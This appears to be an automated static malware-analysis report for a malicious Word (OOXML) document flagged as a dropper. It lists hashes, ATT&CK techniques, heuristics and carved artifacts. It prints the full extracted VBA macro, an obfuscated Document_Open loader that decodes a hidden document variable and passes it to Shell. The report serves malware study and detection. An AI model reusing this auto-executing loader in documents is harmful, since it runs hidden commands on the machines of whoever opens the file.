Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f731e4d5fed750b5…

MALICIOUS

Office (OOXML)

40.7 KB Created: 2020-02-28 13:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 855fc53829fa51fd5c2af92294b3876c SHA-1: 7bd3ba235f56ca066e34b950e3c5e29748e8ef89 SHA-256: f731e4d5fed750b5406077c071a738d29f9f95e7cd18031e2549f80545e3b385
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing a VBA macro with a Document_Open auto-execution routine. This macro calls the Shell() function, indicating it is designed to execute a payload. ClamAV detection as 'Doc.Dropper.Agent-7603655-0' further supports its malicious nature as a dropper. The specific payload executed by Shell() is not directly visible, but the dropper behavior is clear.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7603655-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7603655-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2824 bytes
SHA-256: 3f9ec47f866b0b8dc06ba9300c8f0113cd5746438d1621dba096d2906085e6d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit





           







                                                                        Public Brighten As String







          Private Sub Init()






                Brighten = ActiveDocument.Variables("ud51b348af4c6cf").Value





                                        




                                        End Sub





                                                                        Sub Document_Open()





                                                






                                            




                                            






                   





              






                                                                        





               





                                                    







              




                                                                            Call Init: Call OutshOve






          End Sub
Private Sub OutshOve()






                                                







                                                                





                Dim Numismatology As Long: Dim Innocence() As Byte
Innocence = StrConv(Brighten, 128)







              





                                                        GoTo Charterless





Forwent:





                 Brighten = StrConv(Innocence, 64)








              GoTo Garishness
Exit Sub





            






Charterless:







               If Numismatology < UBound(Innocence) Then







              







                Innocence(Numismatology) = Innocence(Numismatology) - 11: Numismatology = Numismatology + 1







                                                                        







                    GoTo Charterless








                                                                        




                




                                                                    Else







                                                GoTo Forwent






                                                        End If
Garishness:






                                        





                                                            Shell Brighten
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/Microsoft_Word_Document.docx 16849 bytes
SHA-256: 41c7aa6e7cc1f8da04f78bb1ece8f0e4febcc99531f58f11c35b5a48851ffb78
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 61c92cf33bfd4d4a5f4cda62dfb38f6a52c43a2fb3b710af21a8cfe7206a00eb
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 34484 bytes
SHA-256: 16cf2a23c38be0c0a2cfc969be269773422a729d05687c25ad5a48131b834bad

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